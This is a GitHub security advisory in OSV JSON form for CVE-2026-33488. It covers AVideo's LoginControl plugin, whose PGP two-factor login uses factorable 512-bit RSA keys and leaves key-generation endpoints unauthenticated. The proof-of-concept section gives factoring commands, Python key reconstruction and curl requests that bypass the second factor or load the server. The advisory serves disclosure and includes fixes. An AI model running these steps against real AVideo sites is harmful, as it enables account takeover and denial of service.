{"id":"GHSA-6m5f-j7w2-w953","summary":"AVideo has a PGP 2FA Bypass via Cryptographically Broken 512-bit RSA Key Generation in LoginControl Plugin","details":"## Summary\n\nThe `createKeys()` function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the `generateKeys.json.php` and `encryptMessage.json.php` endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users.\n\n## Details\n\nThe vulnerability originates in `plugin/LoginControl/pgp/functions.php` at line 26:\n\n```php\n// plugin/LoginControl/pgp/functions.php:26\n$privateKey = RSA::createKey(512);\n```\n\nThis code was copied from the `singpolyma/openpgp-php` library's example/demo code, which was never intended for production use. The entire PGP 2FA flow relies on these weak keys:\n\n1. **Key generation**: When a user enables PGP 2FA, the UI calls `createKeys()` which generates a 512-bit RSA keypair. The public key is saved to the database via `savePublicKey.json.php`.\n\n2. **Challenge creation** (`LoginControl.php:520-531`): During login, a `uniqid()` token is generated, stored in the session, and encrypted with the user's stored public key:\n```php\n// LoginControl.php:525-530\n$_SESSION['user']['challenge']['text'] = uniqid();\n$encMessage = self::encryptPGPMessage(User::getId(), $_SESSION['user']['challenge']['text']);\n```\n\n3. **Challenge verification** (`LoginControl.php:533-539`): The user must decrypt the challenge and submit the plaintext. Verification is a simple equality check:\n```php\n// LoginControl.php:534\nif ($response == $_SESSION['user']['challenge']['text']) {\n```\n\nSince 512-bit RSA was publicly factored in 1999 (RSA-155 challenge), an attacker who obtains the public key can factor the modulus using freely available tools (CADO-NFS, msieve, yafu) in a matter of hours on modern hardware, reconstruct the complete private key from the prime factors, and decrypt any challenge encrypted with that key.\n\n**Unauthenticated endpoints** (compounding issue):\n\n`generateKeys.json.php` does not include `configuration.php` and has no authentication check:\n```php\n// plugin/LoginControl/pgp/generateKeys.json.php:1-2\n\u003c?php\nrequire_once  '../../../plugin/LoginControl/pgp/functions.php';\n```\n\nSimilarly, `encryptMessage.json.php` has no authentication. Both are accessible to anonymous users, enabling abuse of CPU-intensive RSA key generation for denial-of-service.\n\n## PoC\n\n**Step 1: Obtain the target user's 512-bit public key**\n\nThe public key must be obtained through a side channel (e.g., the user sharing it per PGP conventions, another vulnerability leaking database contents, or admin access). The key is stored in the `users_externalOptions` table under the key `PGPKey`.\n\n**Step 2: Extract the RSA modulus from the public key**\n\n```bash\n# Extract the modulus from the PGP public key\necho \"$PUBLIC_KEY_ARMOR\" | gpg --import 2\u003e/dev/null\ngpg --list-keys --with-key-data | grep '^pub'\n# Or use Python:\npython3 -c \"\nfrom Crypto.PublicKey import RSA\n# Parse the PGP key and extract RSA modulus N\n# N will be a ~155-digit number (512 bits)\nprint(f'N = {key.n}')\n\"\n```\n\n**Step 3: Factor the 512-bit modulus**\n\n```bash\n# Using CADO-NFS (typically completes in 2-8 hours on a modern desktop)\ncado-nfs.py \u003cmodulus_decimal\u003e\n# Or using msieve:\nmsieve -v \u003cmodulus_decimal\u003e\n# Output: p = \u003cfactor1\u003e, q = \u003cfactor2\u003e\n```\n\n**Step 4: Reconstruct the private key and decrypt the 2FA challenge**\n\n```python\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Util.number import inverse\n\n# From factoring step\np = \u003cfactor1\u003e\nq = \u003cfactor2\u003e\nn = p * q\ne = 65537\nd = inverse(e, (p-1)*(q-1))\n\n# Reconstruct private key\nprivkey = RSA.construct((n, e, d, p, q))\n\n# Decrypt the PGP-encrypted challenge from the login page\n# and submit the plaintext to verifyChallenge.json.php\n```\n\n**Step 5: Submit decrypted challenge to bypass 2FA**\n\n```bash\ncurl -b \"session_cookie\" \\\n  \"https://target/plugin/LoginControl/pgp/verifyChallenge.json.php\" \\\n  -d \"response=\u003cdecrypted_uniqid_value\u003e\"\n# Expected: {\"error\":false,\"msg\":\"\",\"response\":\"\u003cvalue\u003e\"}\n```\n\n**Unauthenticated endpoint abuse:**\n\n```bash\n# No authentication required — CPU-intensive 512-bit RSA keygen\ncurl \"https://target/plugin/LoginControl/pgp/generateKeys.json.php?keyPassword=test&keyName=test&keyEmail=test@test.com\"\n# Returns: {\"error\":false,\"public\":\"-----BEGIN PGP PUBLIC KEY BLOCK-----...\",\"private\":\"-----BEGIN PGP PRIVATE KEY BLOCK-----...\"}\n```\n\n## Impact\n\n- **2FA Bypass**: Any user who enabled PGP 2FA using the built-in key generator has their second factor effectively nullified. An attacker with knowledge of the password (phishing, credential stuffing, breach reuse) can bypass the 2FA protection entirely.\n- **Account Takeover**: Combined with any credential compromise, this enables full account takeover of 2FA-protected accounts.\n- **Denial of Service**: The unauthenticated `generateKeys.json.php` endpoint allows anonymous users to trigger CPU-intensive RSA key generation operations with no rate limiting.\n- **Scope**: All users who enabled PGP 2FA using the application's built-in key generator are affected. Users who imported their own externally-generated keys with adequate key sizes (2048+ bits) are not affected by the key weakness, but the unauthenticated endpoints affect all deployments with the LoginControl plugin.\n\n## Recommended Fix\n\n**1. Increase RSA key size to 2048 bits minimum** (`plugin/LoginControl/pgp/functions.php:26`):\n\n```php\n// Before:\n$privateKey = RSA::createKey(512);\n\n// After:\n$privateKey = RSA::createKey(2048);\n```\n\n**2. Add authentication to `generateKeys.json.php`** (match the pattern used in `decryptMessage.json.php`):\n\n```php\n\u003c?php\nrequire_once '../../../videos/configuration.php';\nrequire_once '../../../plugin/LoginControl/pgp/functions.php';\nheader('Content-Type: application/json');\n\n$obj = new stdClass();\n$obj-\u003eerror = true;\n\n$plugin = AVideoPlugin::loadPluginIfEnabled('LoginControl');\n\nif (!User::isLogged()) {\n    $obj-\u003emsg = \"Authentication required\";\n    die(json_encode($obj));\n}\n// ... rest of existing code\n```\n\n**3. Add authentication to `encryptMessage.json.php`** (same pattern):\n\n```php\n\u003c?php\nrequire_once '../../../videos/configuration.php';\nrequire_once '../../../plugin/LoginControl/pgp/functions.php';\n// Add auth check before processing\nif (!User::isLogged()) {\n    $obj-\u003emsg = 'Authentication required';\n    die(json_encode($obj));\n}\n```\n\n**4. Add minimum key size validation in `savePublicKey.json.php`** to reject weak keys regardless of how they were generated:\n\n```php\n// After line 26, before saving:\n$keyData = OpenPGP_Message::parse(OpenPGP::unarmor($_REQUEST['publicKey'], 'PGP PUBLIC KEY BLOCK'));\nif ($keyData && $keyData[0] instanceof OpenPGP_PublicKeyPacket) {\n    $bitLength = strlen($keyData[0]-\u003ekey['n']) * 8;\n    if ($bitLength \u003c 2048) {\n        $obj-\u003emsg = \"Key size too small. Minimum 2048 bits required.\";\n        die(json_encode($obj));\n    }\n}\n```","aliases":["CVE-2026-33488"],"modified":"2026-03-25T20:46:25.623414Z","published":"2026-03-20T20:49:06Z","database_specific":{"nvd_published_at":"2026-03-23T16:16:49Z","cwe_ids":["CWE-326"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-20T20:49:06Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-6m5f-j7w2-w953"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33488"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/00d979d87f8182095c8150609153a43f834e351e"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-6m5f-j7w2-w953/GHSA-6m5f-j7w2-w953.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}